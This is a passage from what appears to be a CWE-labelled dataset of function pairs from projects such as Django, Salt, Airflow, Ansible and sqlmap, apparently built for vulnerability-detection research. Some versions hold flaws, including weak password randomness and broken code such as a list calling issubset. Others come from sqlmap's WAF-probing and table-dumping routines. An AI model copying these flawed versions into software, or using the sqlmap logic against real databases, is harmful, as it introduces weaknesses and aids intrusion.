        rms, _ = self._search_registered_models(""name ilike '%RM4a%'"")
        assert rms == names[4:]

        # cannot search by invalid comparator types
        with pytest.raises(
            MlflowException,
            match=""Parameter value is either not quoted or unidentified quote types used for ""
            ""string value something"",
        ) as exception_context:
            self._search_registered_models(""name!=something"")
        assert exception_context.value.error_code == ErrorCode.Name(INVALID_PARAMETER_VALUE)

        # cannot search by run_id
        with pytest.raises(
            MlflowException, match=r""Invalid attribute key 'run_id' specified.""
        ) as exception_context:
            self._search_registered_models(""run_id='%s'"" % ""somerunID"")
        assert exception_context.value.error_code == ErrorCode.Name(INVALID_PARAMETER_VALUE)

        # cannot search by source_path
        with pytest.raises(
            MlflowException, match=r""Invalid attribute key 'source_path' specified.""
        ) as exception_context:
            self._search_registered_models(""source_path = 'A/D'"")
        assert exception_context.value.error_code == ErrorCode.Name(INVALID_PARAMETER_VALUE)

        # cannot search by other params
        with pytest.raises(
            MlflowException, match=r""Invalid clause\(s\) in filter string""
        ) as exception_context:
            self._search_registered_models(""evilhax = true"")
        assert exception_context.value.error_code == ErrorCode.Name(INVALID_PARAMETER_VALUE)

        # delete last registered model. search should not return the first 5
        self.store.delete_registered_model(name=names[-1])
        assert self._search_registered_models(None, max_results=1000) == (names[:-1], None)

        # equality search using name should return no names
        assert self._search_registered_models(""name='{}'"".format(names[-1])) == ([], None)

        # case-sensitive prefix search using LIKE should return all the RMs
        assert self._search_registered_models(""name LIKE '{}%'"".format(prefix)) == (
            names[0:5],
            None,
        )

        # case-insensitive prefix search using ILIKE should return both rm5 and rm6
        assert self._search_registered_models(""name ILIKE '{}%'"".format(prefix + ""RM4A"")) == (
            [names[4]],
            None,
        )"
functions_for_django_with_cwe.csv,UNKNOWN,UNKNOWN,django/db/migrations/state.py,0,"def __init__(self, app_label, name, fields, options=None, bases=None):
        self.app_label = app_label
        self.name = force_text(name)
        self.fields = fields
        self.options = options or {}
        self.bases = bases or (models.Model, )
        # Sanity-check that fields is NOT a dict. It must be ordered.
        if isinstance(self.fields, dict):
            raise ValueError(""ModelState.fields cannot be a dict - it must be a list of 2-tuples."")
        # Sanity-check that fields are NOT already bound to a model.
        for name, field in fields:
            if hasattr(field, 'model'):
                raise ValueError(
                    'ModelState.fields cannot be bound to a model - ""%s"" is.' % name
                )",CWE-Unknown,django/django,7a38f889222dfbdf0e0d8d22001c30264d420054,"def __init__(self, app_label, name, fields, options=None, bases=None):
        self.app_label = app_label
        self.name = force_text(name)
        self.fields = fields
        self.options = options or {}
        self.bases = bases or (models.Model, )
        # Sanity-check that fields is NOT a dict. It must be ordered.
        if isinstance(self.fields, dict):
            raise ValueError(""ModelState.fields cannot be a dict - it must be a list of 2-tuples."")"
,UNKNOWN,UNKNOWN,tests/unit/grains/test_core.py,1,"def test_dns_return(self):
        '''
        test the return for a dns grain. test for issue:
        https://github.com/saltstack/salt/issues/41230
        '''
        resolv_mock = {'domain': '', 'sortlist': [], 'nameservers':
                   [ipaddress.IPv4Address(IP4_ADD1),
                    ipaddress.IPv6Address(IP6_ADD1),
                    IP6_ADD_SCOPE], 'ip4_nameservers':
                   [ipaddress.IPv4Address(IP4_ADD1)],
                   'search': ['test.saltstack.com'], 'ip6_nameservers':
                   [ipaddress.IPv6Address(IP6_ADD1),
                    IP6_ADD_SCOPE], 'options': []}
        ret = {'dns': {'domain': '', 'sortlist': [], 'nameservers':
                       [IP4_ADD1, IP6_ADD1,
                        IP6_ADD_SCOPE], 'ip4_nameservers':
                       [IP4_ADD1], 'search': ['test.saltstack.com'],
                       'ip6_nameservers': [IP6_ADD1, IP6_ADD_SCOPE],
                       'options': []}}
        with patch.object(salt.utils.dns, 'parse_resolv', MagicMock(return_value=resolv_mock)):
            assert core.dns() == ret",CWE-703,saltstack/salt,67e45ecd23af791258386781f3357483d71b92b6,"def test_dns_return(self):
        '''
        test the return for a dns grain. test for issue:
        https://github.com/saltstack/salt/issues/41230
        '''
        resolv_mock = {'domain': '', 'sortlist': [], 'nameservers':
                   [ipaddress.IPv4Address(IP4_ADD1),
                    ipaddress.IPv6Address(IP6_ADD1),
                    IP6_ADD_SCOPE], 'ip4_nameservers':
                   [ipaddress.IPv4Address(IP4_ADD1)],
                   'search': ['test.saltstack.com'], 'ip6_nameservers':
                   [ipaddress.IPv6Address(IP6_ADD1),
                    IP6_ADD_SCOPE], 'options': []}
        ret = {'dns': {'domain': '', 'sortlist': [], 'nameservers':
                       [IP4_ADD1, IP6_ADD1,
                        IP6_ADD_SCOPE], 'ip4_nameservers':
                       [IP4_ADD1], 'search': ['test.saltstack.com'],
                       'ip6_nameservers': [IP6_ADD1, IP6_ADD_SCOPE],
                       'options': []}}
        with patch.object(salt.utils.dns, 'parse_resolv', MagicMock(return_value=resolv_mock)):
            assert core.dns() == ret"
functions_for_django_with_cwe.csv,UNKNOWN,UNKNOWN,django/template/defaultfilters.py,0,"def escape_filter(value):
    """"""Mark the value as a string that should be auto-escaped.""""""
    return conditional_escape(value)",CWE-Unknown,django/django,061a8a1bd818ca2c8a6493f33cae2379e34e181f,"def escape_filter(value):
    """"""Mark the value as a string that should be auto-escaped.""""""
    return conditional_escape(value)"
functions_for_ansible_with_cwe.csv,UNKNOWN,UNKNOWN,lib/ansible/modules/network/dellos10/dellos10_config.py,0,"def main():

    argument_spec = dict(
        lines=dict(aliases=['commands'], type='list'),
        parents=dict(type='list'),

        src=dict(type='path'),

        before=dict(type='list'),
        after=dict(type='list'),

        match=dict(default='line',
                   choices=['line', 'strict', 'exact', 'none']),
        replace=dict(default='line', choices=['line', 'block']),

        update=dict(choices=['merge', 'check'], default='merge'),
        save=dict(type='bool', default=False),
        config=dict(),
        backup=dict(type='bool', default=False)
    )

    argument_spec.update(dellos10_argument_spec)

    mutually_exclusive = [('lines', 'src')]

    module = AnsibleModule(argument_spec=argument_spec,
                           mutually_exclusive=mutually_exclusive,
                           supports_check_mode=True)

    parents = module.params['parents'] or list()

    match = module.params['match']
    replace = module.params['replace']

    warnings = list()
    check_args(module, warnings)

    result = dict(changed=False, saved=False, warnings=warnings)

    if module.params['backup']:
        if not module.check_mode:
            result['__backup__'] = get_config(module)

    commands = list()
    candidate = get_candidate(module)

    if any((module.params['lines'], module.params['src'])):
        if match != 'none':
            config = get_running_config(module)
            if parents:
                contents = get_sublevel_config(config, module)
                config = NetworkConfig(contents=contents, indent=1)
            else:
                config = NetworkConfig(contents=config, indent=1)
            configobjs = candidate.difference(config, match=match, replace=replace)
        else:
            configobjs = candidate.items

        if configobjs:
            commands = dumps(configobjs, 'commands')
            if ((isinstance((module.params['lines']), list)) and
                    (isinstance((module.params['lines'][0]), dict)) and
                    (set(['prompt', 'answer']).issubset(module.params['lines'][0]))):

                cmd = {'command': commands,
                       'prompt': module.params['lines'][0]['prompt'],
                       'answer': module.params['lines'][0]['answer']}
                commands = [module.jsonify(cmd)]
            else:
                commands = commands.split('\n')

            if module.params['before']:
                commands[:0] = module.params['before']

            if module.params['after']:
                commands.extend(module.params['after'])

            if not module.check_mode and module.params['update'] == 'merge':
                load_config(module, commands)

            result['changed'] = True
            result['commands'] = commands
            result['updates'] = commands

    if module.params['save']:
        result['changed'] = True
        if not module.check_mode:
            cmd = {r'command': 'copy running-config startup-config',
                   r'prompt': r'\[confirm yes/no\]:\s?$', 'answer': 'yes'}
            run_commands(module, [cmd])
            result['saved'] = True
        else:
            module.warn('Skipping command `copy running-config startup-config`'
                        'due to check_mode.  Configuration not copied to '
                        'non-volatile storage')

    module.exit_json(**result)",,ansible/ansible,ae45488ba22581e39b5e97f4212c784a712c1042,"def main():

    argument_spec = dict(
        lines=dict(aliases=['commands'], type='list'),
        parents=dict(type='list'),

        src=dict(type='path'),

        before=dict(type='list'),
        after=dict(type='list'),

        match=dict(default='line',
                   choices=['line', 'strict', 'exact', 'none']),
        replace=dict(default='line', choices=['line', 'block']),

        update=dict(choices=['merge', 'check'], default='merge'),
        save=dict(type='bool', default=False),
        config=dict(),
        backup=dict(type='bool', default=False)
    )

    argument_spec.update(dellos10_argument_spec)

    mutually_exclusive = [('lines', 'src')]

    module = AnsibleModule(argument_spec=argument_spec,
                           mutually_exclusive=mutually_exclusive,
                           supports_check_mode=True)

    parents = module.params['parents'] or list()

    match = module.params['match']
    replace = module.params['replace']

    warnings = list()
    check_args(module, warnings)

    result = dict(changed=False, saved=False, warnings=warnings)

    if module.params['backup']:
        if not module.check_mode:
            result['__backup__'] = get_config(module)

    commands = list()
    candidate = get_candidate(module)

    if any((module.params['lines'], module.params['src'])):
        if match != 'none':
            config = get_running_config(module)
            if parents:
                contents = get_sublevel_config(config, module)
                config = NetworkConfig(contents=contents, indent=1)
            else:
                config = NetworkConfig(contents=config, indent=1)
            configobjs = candidate.difference(config, match=match, replace=replace)
        else:
            configobjs = candidate.items

        if configobjs:
            commands = dumps(configobjs, 'commands')
            if ((isinstance((module.params['lines']), list)) and
                    (isinstance((module.params['lines'][0]), dict)) and
                    (['prompt', 'answer'].issubset(module.params['lines'][0]))):

                cmd = {'command': commands,
                       'prompt': module.params['lines'][0]['prompt'],
                       'answer': module.params['lines'][0]['answer']}
                commands = [module.jsonify(cmd)]
            else:
                commands = commands.split('\n')

            if module.params['before']:
                commands[:0] = module.params['before']

            if module.params['after']:
                commands.extend(module.params['after'])

            if not module.check_mode and module.params['update'] == 'merge':
                load_config(module, commands)

            result['changed'] = True
            result['commands'] = commands
            result['updates'] = commands

    if module.params['save']:
        result['changed'] = True
        if not module.check_mode:
            cmd = {r'command': 'copy running-config startup-config',
                   r'prompt': r'\[confirm yes/no\]:\s?$', 'answer': 'yes'}
            run_commands(module, [cmd])
            result['saved'] = True
        else:
            module.warn('Skipping command `copy running-config startup-config`'
                        'due to check_mode.  Configuration not copied to '
                        'non-volatile storage')

    module.exit_json(**result)"
,UNKNOWN,UNKNOWN,tests/unit/modules/test_boto_secgroup.py,1,"def test__split_rules(self):
        """"""
        tests the splitting of a list of rules into individual rules
        """"""
        rules = [
            OrderedDict(
                [
                    (""ip_protocol"", ""tcp""),
                    (""from_port"", 22),
                    (""to_port"", 22),
                    (""grants"", [OrderedDict([(""cidr_ip"", ""0.0.0.0/0"")])]),
                ]
            ),
            OrderedDict(
                [
                    (""ip_protocol"", ""tcp""),
                    (""from_port"", 80),
                    (""to_port"", 80),
                    (""grants"", [OrderedDict([(""cidr_ip"", ""0.0.0.0/0"")])]),
                ]
            ),
        ]
        split_rules = [
            {
                ""to_port"": 22,
                ""from_port"": 22,
                ""ip_protocol"": ""tcp"",
                ""cidr_ip"": ""0.0.0.0/0"",
            },
            {
                ""to_port"": 80,
                ""from_port"": 80,
                ""ip_protocol"": ""tcp"",
                ""cidr_ip"": ""0.0.0.0/0"",
            },
        ]
        self.assertEqual(boto_secgroup._split_rules(rules), split_rules)",CWE-605,saltstack/salt,dc21cfa6113fbdce20c0b621ab9ef8605aeb259a,"def test__split_rules(self):
        """"""
        tests the splitting of a list of rules into individual rules
        """"""
        rules = [
            OrderedDict(
                [
                    (""ip_protocol"", ""tcp""),
                    (""from_port"", 22),
                    (""to_port"", 22),
                    (""grants"", [OrderedDict([(""cidr_ip"", ""0.0.0.0/0"")])]),
                ]
            ),
            OrderedDict(
                [
                    (""ip_protocol"", ""tcp""),
                    (""from_port"", 80),
                    (""to_port"", 80),
                    (""grants"", [OrderedDict([(""cidr_ip"", ""0.0.0.0/0"")])]),
                ]
            ),
        ]
        split_rules = [
            {
                ""to_port"": 22,
                ""from_port"": 22,
                ""ip_protocol"": ""tcp"",
                ""cidr_ip"": ""0.0.0.0/0"",
            },
            {
                ""to_port"": 80,
                ""from_port"": 80,
                ""ip_protocol"": ""tcp"",
                ""cidr_ip"": ""0.0.0.0/0"",
            },
        ]
        self.assertEqual(boto_secgroup._split_rules(rules), split_rules)"
functions_for_django_with_cwe.csv,UNKNOWN,UNKNOWN,tests/admin_views/tests.py,0,"def test_filters(self):
        response = self.client.get(reverse(""django-admindocs-filters""))

        # The builtin filter group exists
        self.assertContains(response, ""<h2>Built-in filters</h2>"", count=2, html=True)

        # A builtin filter exists in both the index and detail
        self.assertContains(response, '<h3 id=""built_in-add"">add</h3>', html=True)
        self.assertContains(
            response, '<li><a href=""#built_in-add"">add</a></li>', html=True
        )",CWE-Unknown,django/django,21382e2743d06efbf5623e7c9b6dccf2a325669b,"def test_filters(self):
        response = self.client.get(reverse(""django-admindocs-filters""))

        # The builtin filter group exists
        self.assertContains(response, ""<h2>Built-in filters</h2>"", count=2, html=True)

        # A builtin filter exists in both the index and detail
        self.assertContains(response, '<h3 id=""built_in-add"">add</h3>', html=True)
        self.assertContains(
            response, '<li><a href=""#built_in-add"">add</a></li>', html=True
        )"
functions_for_ansible_with_cwe.csv,UNKNOWN,UNKNOWN,test/lib/ansible_test/_internal/util_common.py,0,"def __init__(self, args, command):
        """"""
        :type args: any
        :type command: str
        """"""
        self.command = command

        self.color = args.color  # type: bool
        self.explain = args.explain  # type: bool
        self.verbosity = args.verbosity  # type: int
        self.debug = args.debug  # type: bool
        self.truncate = args.truncate  # type: int
        self.redact = args.redact  # type: bool

        if is_shippable():
            self.redact = True

        self.cache = {}",,ansible/ansible,29ac0273d4f421a0919c1e7d7608b2d7fd7a35b4,"def __init__(self, args, command):
        """"""
        :type args: any
        :type command: str
        """"""
        self.command = command

        self.color = args.color  # type: bool
        self.explain = args.explain  # type: bool
        self.verbosity = args.verbosity  # type: int
        self.debug = args.debug  # type: bool
        self.truncate = args.truncate  # type: int
        self.redact = args.redact  # type: bool

        if is_shippable():
            self.redact = True

        self.cache = {}"
,UNKNOWN,UNKNOWN,tests/models/test_xcom_arg.py,1,"def test_xcom_arg_property_of_base_operator(self, dag_maker):
        with dag_maker(""test_xcom_arg_property_of_base_operator""):
            op_a = BashOperator(task_id=""a"", bash_command=""echo a"")
        dag_maker.create_dagrun()

        assert op_a.output == XComArg(op_a)",CWE-703,apache/airflow,1956f38276b982f7f0f72944d4fb8615ee55459f,"def test_xcom_arg_property_of_base_operator(self, dag_maker):
        with dag_maker(""test_xcom_arg_property_of_base_operator""):
            op_a = BashOperator(task_id=""a"", bash_command=""echo a"")
        dag_maker.create_dagrun()

        assert op_a.output == XComArg(op_a)"
functions_for_sqlmap_with_cwe.csv,UNKNOWN,UNKNOWN,waf/dotdefender.py,0,"def detect(get_page):
    retval = False

    for vector in WAF_ATTACK_VECTORS:
        page, headers, _ = get_page(get=vector)
        retval = headers.get(""X-dotDefender-denied"", """") == ""1""
        retval |= ""dotDefender Blocked Your Request"" in (page or """")
        if retval:
            break

    return retval",,sqlmapproject/sqlmap,210b65c02d18c2519cb7833940fe054bfe3231bc,"def detect(get_page):
    retval = False

    for vector in WAF_ATTACK_VECTORS:
        _, headers, _ = get_page(get=vector)
        retVal = headers.get(""X-dotDefender-denied"", """") == ""1""
        if retVal:
            break

    return retval"
,UNKNOWN,UNKNOWN,airflow-core/tests/unit/api_fastapi/execution_api/versions/head/test_task_instances.py,1,"def test_ti_update_state_to_success_with_asset_events(
        self, client, session, create_task_instance, task_outlets, outlet_events, expected_extra
    ):
        asset = AssetModel(
            id=1,
            name=""my-task"",
            uri=""s3://bucket/my-task"",
            group=""asset"",
            extra={},
        )
        asset_active = AssetActive.for_asset(asset)
        session.add_all([asset, asset_active])

        ti = create_task_instance(
            task_id=""test_ti_update_state_to_success_with_asset_events"",
            start_date=DEFAULT_START_DATE,
            state=State.RUNNING,
        )
        session.commit()

        response = client.patch(
            f""/execution/task-instances/{ti.id}/state"",
            json={
                ""state"": ""success"",
                ""end_date"": DEFAULT_END_DATE.isoformat(),
                ""task_outlets"": task_outlets,
                ""outlet_events"": outlet_events,
            },
        )

        assert response.status_code == 204
        assert response.text == """"
        session.expire_all()

        event = session.scalars(select(AssetEvent)).all()
        assert len(event) == 1
        assert event[0].asset == AssetModel(name=""my-task"", uri=""s3://bucket/my-task"", extra={})
        assert event[0].extra == expected_extra",CWE-703,apache/airflow,6879c3ec472d9a8dae18b4767aecd3db2281819f,"def test_ti_update_state_to_success_with_asset_events(
        self, client, session, create_task_instance, task_outlets, outlet_events, expected_extra
    ):
        asset = AssetModel(
            id=1,
            name=""my-task"",
            uri=""s3://bucket/my-task"",
            group=""asset"",
            extra={},
        )
        asset_active = AssetActive.for_asset(asset)
        session.add_all([asset, asset_active])

        ti = create_task_instance(
            task_id=""test_ti_update_state_to_success_with_asset_events"",
            start_date=DEFAULT_START_DATE,
            state=State.RUNNING,
        )
        session.commit()

        response = client.patch(
            f""/execution/task-instances/{ti.id}/state"",
            json={
                ""state"": ""success"",
                ""end_date"": DEFAULT_END_DATE.isoformat(),
                ""task_outlets"": task_outlets,
                ""outlet_events"": outlet_events,
            },
        )

        assert response.status_code == 204
        assert response.text == """"
        session.expire_all()

        event = session.scalars(select(AssetEvent)).all()
        assert len(event) == 1
        assert event[0].asset == AssetModel(name=""my-task"", uri=""s3://bucket/my-task"", extra={})
        assert event[0].extra == expected_extra"
,UNKNOWN,UNKNOWN,tests/pytests/functional/states/file/test_directory.py,1,"def test_directory_backupname_force_test_mode_noclobber(
    file, tmp_path, backupname_isfile
):
    """"""
    Ensure that file.directory does not make changes when backupname is used
    alongside force=True and test=True.

    See https://github.com/saltstack/salt/issues/66049
    """"""
    source_dir = tmp_path / ""source_directory""
    source_dir.mkdir()
    dest_dir = tmp_path / ""dest_directory""
    backupname = tmp_path / ""backup_dir""
    dest_dir.symlink_to(source_dir.resolve())

    if backupname_isfile:
        backupname.touch()
        assert backupname.is_file()

    ret = file.directory(
        name=str(dest_dir),
        allow_symlink=False,
        force=True,
        backupname=str(backupname),
        test=True,
    )

    # Confirm None result
    assert ret.result is None
    try:
        # Confirm dest_dir not modified
        assert salt.utils.path.readlink(str(dest_dir)) == str(source_dir)
    except OSError:
        pytest.fail(f""{dest_dir} was modified"")

    # Confirm that comment and changes match what we expect
    assert (
        ret.comment
        == f""{dest_dir} would be backed up and replaced with a new directory""
    )
    assert ret.changes[str(dest_dir)] == {""directory"": ""new""}
    assert ret.changes[""backup""] == f""{dest_dir} would be renamed to {backupname}""

    if backupname_isfile:
        assert ret.changes[""forced""] == (
            f""Existing file at backup path {backupname} would be removed""
        )
    else:
        assert ""forced"" not in ret.changes",CWE-703,saltstack/salt,0105aecd961e1e2c89785df70d5075d0f16f6810,"def test_directory_backupname_force_test_mode_noclobber(
    file, tmp_path, backupname_isfile
):
    """"""
    Ensure that file.directory does not make changes when backupname is used
    alongside force=True and test=True.

    See https://github.com/saltstack/salt/issues/66049
    """"""
    source_dir = tmp_path / ""source_directory""
    dest_dir = tmp_path / ""dest_directory""
    backupname = tmp_path / ""backup_dir""
    source_dir.mkdir()
    dest_dir.symlink_to(source_dir.resolve())

    if backupname_isfile:
        backupname.touch()
        assert backupname.is_file()

    ret = file.directory(
        name=str(dest_dir),
        allow_symlink=False,
        force=True,
        backupname=str(backupname),
        test=True,
    )

    # Confirm None result
    assert ret.result is None
    try:
        # Confirm dest_dir not modified
        assert dest_dir.readlink() == source_dir
    except OSError:
        pytest.fail(f""{dest_dir} was modified"")

    # Confirm that comment and changes match what we expect
    assert (
        ret.comment
        == f""{dest_dir} would be backed up and replaced with a new directory""
    )
    assert ret.changes[str(dest_dir)] == {""directory"": ""new""}
    assert ret.changes[""backup""] == f""{dest_dir} would be renamed to {backupname}""

    if backupname_isfile:
        assert ret.changes[""forced""] == (
            f""Existing file at backup path {backupname} would be removed""
        )
    else:
        assert ""forced"" not in ret.changes"
functions_for_jupyter_with_cwe.csv,UNKNOWN,UNKNOWN,notebook/notebookapp.py,0,"def init_mime_overrides(self):
        # On some Windows machines, an application has registered an incorrect
        # mimetype for CSS and JavaScript in the registry.
        # Tornado uses this when serving .css and .js files, causing browsers to
        # reject these files. We know the mimetype always needs to be text/css for css
        # and application/javascript for JS, so we override it here.
        mimetypes.add_type('text/css', '.css')
        mimetypes.add_type('application/javascript', '.js')",,jupyter/notebook,d8730ced00132b1cdd4434f5e642a91acba6372a,"def init_mime_overrides(self):
        # On some Windows machines, an application has registered an incorrect
        # mimetype for CSS and JavaScript in the registry.
        # Tornado uses this when serving .css files, causing browsers to reject the stylesheet.
        # We know the mimetype always needs to be text/css for css
        # and application/javascript for JS, so we override it here.
        mimetypes.add_type('text/css', '.css')
        mimetypes.add_type('application/javascript', '.js')"
,UNKNOWN,UNKNOWN,airflow/bin/cli.py,1,"def create_user(args):
    fields = {
        'role': args.role,
        'username': args.username,
        'email': args.email,
        'firstname': args.firstname,
        'lastname': args.lastname,
    }
    empty_fields = [k for k, v in fields.items() if not v]
    if empty_fields:
        raise SystemExit('Required arguments are missing: {}.'.format(
            ', '.join(empty_fields)))

    appbuilder = cached_appbuilder()
    role = appbuilder.sm.find_role(args.role)
    if not role:
        raise SystemExit('{} is not a valid role.'.format(args.role))

    if args.use_random_password:
        password = ''.join(random.choice(string.printable) for _ in range(16))
    elif args.password:
        password = args.password
    else:
        password = getpass.getpass('Password:')
        password_confirmation = getpass.getpass('Repeat for confirmation:')
        if password != password_confirmation:
            raise SystemExit('Passwords did not match!')

    if appbuilder.sm.find_user(args.username):
        print('{} already exist in the db'.format(args.username))
        return
    user = appbuilder.sm.add_user(args.username, args.firstname, args.lastname,
                                  args.email, role, password)
    if user:
        print('{} user {} created.'.format(args.role, args.username))
    else:
        raise SystemExit('Failed to create user.')",CWE-330,apache/airflow,f3f2eb323f29d2210877ce9699e2dd0bdd8b5259,"def create_user(args):
    fields = {
        'role': args.role,
        'username': args.username,
        'email': args.email,
        'firstname': args.firstname,
        'lastname': args.lastname,
    }
    empty_fields = [k for k, v in fields.items() if not v]
    if empty_fields:
        raise SystemExit('Required arguments are missing: {}.'.format(
            ', '.join(empty_fields)))

    appbuilder = cached_appbuilder()
    role = appbuilder.sm.find_role(args.role)
    if not role:
        raise SystemExit('{} is not a valid role.'.format(args.role))

    if args.use_random_password:
        password = ''.join(random.choice(string.printable) for _ in range(16))
    elif args.password:
        password = args.password
    else:
        password = getpass.getpass('Password:')
        password_confirmation = getpass.getpass('Repeat for confirmation:')
        if password != password_confirmation:
            raise SystemExit('Passwords did not match!')

    user = appbuilder.sm.add_user(args.username, args.firstname, args.lastname,
                                  args.email, role, password)
    if user:
        print('{} user {} created.'.format(args.role, args.username))
    else:
        raise SystemExit('Failed to create user.')"
functions_for_tornado_with_cwe.csv,UNKNOWN,UNKNOWN,tornado/test/auth_test.py,0,"def get(self):
        code = self.get_argument(""code"", None)
        if code is not None:
            # retrieve authenticate google user
            access = yield self.get_authenticated_user(self._OAUTH_REDIRECT_URI, code)
            user = yield self.oauth2_request(
                self.test.get_url(""/google/oauth2/userinfo""),
                access_token=access[""access_token""],
            )
            # return the user and access token as json
            user[""access_token""] = access[""access_token""]
            self.write(user)
        else:
            self.authorize_redirect(
                redirect_uri=self._OAUTH_REDIRECT_URI,
                client_id=self.settings[""google_oauth""][""key""],
                scope=[""profile"", ""email""],
                response_type=""code"",
                extra_params={""prompt"": ""select_account""},
            )",CWE-Unknown,tornadoweb/tornado,34673bf6d4bdf9451722842638a16c221d2c4dc1,"def get(self):
        code = self.get_argument(""code"", None)
        if code is not None:
            # retrieve authenticate google user
            access = yield self.get_authenticated_user(self._OAUTH_REDIRECT_URI, code)
            user = yield self.oauth2_request(
                self.test.get_url(""/google/oauth2/userinfo""),
                access_token=access[""access_token""],
            )
            # return the user and access token as json
            user[""access_token""] = access[""access_token""]
            self.write(user)
        else:
            self.authorize_redirect(
                redirect_uri=self._OAUTH_REDIRECT_URI,
                client_id=self.settings[""google_oauth""][""key""],
                client_secret=self.settings[""google_oauth""][""secret""],
                scope=[""profile"", ""email""],
                response_type=""code"",
                extra_params={""prompt"": ""select_account""},
            )"
functions_for_jupyter_with_cwe.csv,UNKNOWN,UNKNOWN,setupbase.py,0,"def npm_install(cwd):
    """"""Run npm install in a directory and dedupe if necessary""""""

    try:
        run(['npm', 'install', '--progress=false'], cwd=cwd)
    except OSError as e:
        print(""Failed to run `npm install`: %s"" % e, file=sys.stderr)
        print(""npm is required to build a development version of the notebook."", file=sys.stderr)
        raise

    shell = (sys.platform == 'win32')
    version = check_output(['npm', '--version'], shell=shell).decode('utf-8')
    if LooseVersion(version) < LooseVersion('3.0'):
        try:
            run(['npm', 'dedupe'], cwd=cwd)
        except Exception as e:
            print(""Failed to run `npm dedupe`: %s"" % e, file=sys.stderr)
            print(""Please install npm v3+ to build a development version of the notebook."")
            raise",,jupyter/notebook,c2723c79962631f8ac7a79249441b24f56dccef9,"def npm_install(cwd):
    """"""Run npm install in a directory and dedupe if necessary""""""

    try:
        run(['npm', 'install', '--progress=false'], cwd=cwd)
    except OSError as e:
        print(""Failed to run `npm install`: %s"" % e, file=sys.stderr)
        print(""npm is required to build a development version of the notebook."", file=sys.stderr)
        raise

    shell = (sys.platform == 'win32')
    version = check_output('npm --version', shell=shell).decode('utf-8')
    if LooseVersion(version) < LooseVersion('3.0'):
        try:
            run(['npm', 'dedupe'], cwd=cwd)
        except Exception as e:
            print(""Failed to run `npm dedupe`: %s"" % e, file=sys.stderr)
            print(""Please install npm v3+ to build a development version of the notebook."")
            raise"
functions_for_sqlmap_with_cwe.csv,UNKNOWN,UNKNOWN,plugins/generic/entries.py,0,"def dumpTable(self, foundData=None):
        self.forceDbmsEnum()

        if conf.db is None or conf.db == CURRENT_DB:
            if conf.db is None:
                warnMsg = ""missing database parameter. sqlmap is going ""
                warnMsg += ""to use the current database to enumerate ""
                warnMsg += ""table(s) entries""
                logger.warn(warnMsg)

            conf.db = self.getCurrentDb()

        elif conf.db is not None:
            if Backend.getIdentifiedDbms() in (DBMS.ORACLE, DBMS.DB2, DBMS.HSQLDB, DBMS.H2):
                conf.db = conf.db.upper()

            if ',' in conf.db:
                errMsg = ""only one database name is allowed when enumerating ""
                errMsg += ""the tables' columns""
                raise SqlmapMissingMandatoryOptionException(errMsg)

            if conf.exclude and conf.db in conf.exclude.split(','):
                infoMsg = ""skipping database '%s'"" % unsafeSQLIdentificatorNaming(conf.db)
                singleTimeLogMessage(infoMsg)
                return

        conf.db = safeSQLIdentificatorNaming(conf.db)

        if conf.tbl:
            if Backend.getIdentifiedDbms() in (DBMS.ORACLE, DBMS.DB2, DBMS.HSQLDB, DBMS.H2):
                conf.tbl = conf.tbl.upper()

            tblList = conf.tbl.split(',')
        else:
            self.getTables()

            if len(kb.data.cachedTables) > 0:
                tblList = list(kb.data.cachedTables.values())

                if isListLike(tblList[0]):
                    tblList = tblList[0]
            elif not conf.search:
                errMsg = ""unable to retrieve the tables ""
                errMsg += ""in database '%s'"" % unsafeSQLIdentificatorNaming(conf.db)
                raise SqlmapNoneDataException(errMsg)
            else:
                return

        for tbl in tblList:
            tblList[tblList.index(tbl)] = safeSQLIdentificatorNaming(tbl, True)

        for tbl in tblList:
            if kb.dumpKeyboardInterrupt:
                break

            if conf.exclude and tbl in conf.exclude.split(','):
                infoMsg = ""skipping table '%s'"" % unsafeSQLIdentificatorNaming(tbl)
                singleTimeLogMessage(infoMsg)
                continue

            conf.tbl = tbl
            kb.data.dumpedTable = {}

            if foundData is None:
                kb.data.cachedColumns = {}
                self.getColumns(onlyColNames=True, dumpMode=True)
            else:
                kb.data.cachedColumns = foundData

            try:
                if Backend.isDbms(DBMS.INFORMIX):
                    kb.dumpTable = ""%s:%s"" % (conf.db, tbl)
                else:
                    kb.dumpTable = ""%s.%s"" % (conf.db, tbl)

                if safeSQLIdentificatorNaming(conf.db) not in kb.data.cachedColumns or safeSQLIdentificatorNaming(tbl, True) not in kb.data.cachedColumns[safeSQLIdentificatorNaming(conf.db)] or not kb.data.cachedColumns[safeSQLIdentificatorNaming(conf.db)][safeSQLIdentificatorNaming(tbl, True)]:
                    warnMsg = ""unable to enumerate the columns for table ""
                    warnMsg += ""'%s' in database"" % unsafeSQLIdentificatorNaming(tbl)
                    warnMsg += "" '%s'"" % unsafeSQLIdentificatorNaming(conf.db)
                    warnMsg += "", skipping"" if len(tblList) > 1 else """"
                    logger.warn(warnMsg)

                    continue

                columns = kb.data.cachedColumns[safeSQLIdentificatorNaming(conf.db)][safeSQLIdentificatorNaming(tbl, True)]
                colList = sorted(column for column in columns if column)

                if conf.exclude:
                    colList = [_ for _ in colList if _ not in conf.exclude.split(',')]

                if not colList:
                    warnMsg = ""skipping table '%s'"" % unsafeSQLIdentificatorNaming(tbl)
                    warnMsg += "" in database '%s'"" % unsafeSQLIdentificatorNaming(conf.db)
                    warnMsg += "" (no usable column names)""
                    logger.warn(warnMsg)
                    continue

                kb.dumpColumns = colList
                colNames = colString = "", "".join(column for column in colList)
                rootQuery = queries[Backend.getIdentifiedDbms()].dump_table

                infoMsg = ""fetching entries""
                if conf.col:
                    infoMsg += "" of column(s) '%s'"" % colNames
                infoMsg += "" for table '%s'"" % unsafeSQLIdentificatorNaming(tbl)
                infoMsg += "" in database '%s'"" % unsafeSQLIdentificatorNaming(conf.db)
                logger.info(infoMsg)

                for column in colList:
                    _ = agent.preprocessField(tbl, column)
                    if _ != column:
                        colString = re.sub(r""\b%s\b"" % re.escape(column), _, colString)

                entriesCount = 0

                if any(isTechniqueAvailable(_) for _ in (PAYLOAD.TECHNIQUE.UNION, PAYLOAD.TECHNIQUE.ERROR, PAYLOAD.TECHNIQUE.QUERY)) or conf.direct:
                    entries = []
                    query = None

                    if Backend.getIdentifiedDbms() in (DBMS.ORACLE, DBMS.DB2):
                        query = rootQuery.inband.query % (colString, tbl.upper() if not conf.db else (""%s.%s"" % (conf.db.upper(), tbl.upper())))
                    elif Backend.getIdentifiedDbms() in (DBMS.SQLITE, DBMS.ACCESS, DBMS.FIREBIRD, DBMS.MAXDB):
                        query = rootQuery.inband.query % (colString, tbl)
